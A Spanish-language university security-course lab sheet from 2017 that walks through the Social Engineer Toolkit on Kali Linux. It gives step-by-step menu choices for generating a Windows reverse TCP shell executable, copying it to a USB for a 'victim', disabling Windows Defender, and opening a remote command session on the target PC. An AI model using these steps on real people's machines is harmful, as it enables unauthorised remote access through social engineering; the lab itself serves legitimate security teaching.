**SET**

**Seguridad Informática – TC2027**

7 de abril de 2017

Oscar Alexis Omaña Rougerio – A01331357

[a01331357@itesm.mx](mailto:a01331357@itesm.mx)

La siguiente práctica tratará de la herramienta Social Engineer Toolkit (SET).

Requisitos:

1 pc con Kali Linux

USB

1 pc con Windows

Nota: para cambiar el teclado a español utilice el comando **setxkbmap es**

1. **INFECTIOUS MEDIA GENERATION**

Abrir SET en **Applications -> Social Engineering Tools** -> **Social Engineer Toolkit**

Se presentarán 7 opciones, selecionar la 1. **Social-Engineering Attacks**

A continuación vamos a crear un archivo ejecutable que nos dará acceso a la computadora de la víctima a través de comandos en consola de Windows.

Después de haber seleccionado Social-Engineering Attacks, nos aparecerán 12 opciones, seleccionamos la número 3. **Infectious Media Generator.**

Seleccionaremos la opción 2. **Standard Metasploit Executable**

A continuación seleccionaremos la opción que nos permitirá tener acceso a la consola de la victima, opción 1. **Windows Shell Reverse\_TCP**

Luego nos pedirá una dirección IP que será la de nuestra pc. Abrimos una nueva terminal y escribimos **ifconfig** para saber nuestra IP.

Si después pide un puerto, escribir **443.**

Por último, nos preguntará si queremos crear un listener, le decimos que sí.

Ahora podemos poner el ejecutable en una usb y entregarlo a la víctima.

Para hacer esto introducimos una USB y abrimos una nueva terminal.

Vamos a escribir el siguiente comando:

**cp -b /root/.set/autorun/program.exe /media/root/<nombre\_de\_la\_USB>**

Ahora podemos introducir la USB en otra computadora Windows y ejecutar el ejecutable.

**NOTA: DESACTIVAR WINDOWS DEFENDER.**

Una vez que se haya ejecutado el ejecutable nos aparecerá en nuestra pc lo siguiente:

mfs exploit(**handler) >** [\*]Command shell sesión 1 opened (<**nuestra\_ip>**:443 -> **<ip\_de\_la\_víctima>)** at **<fecha\_y\_hora>**

Escribimos **sessions -i 1**

Nos mostrará información acerca del equipo al que estamos conectados.

Ahora estamos listos para ejecutar instrucciones en la consola de la pc de la víctima.

Ejemplos:

help muestra lista de comandos disponibles

start notepad.exe Abre el bloc de notas.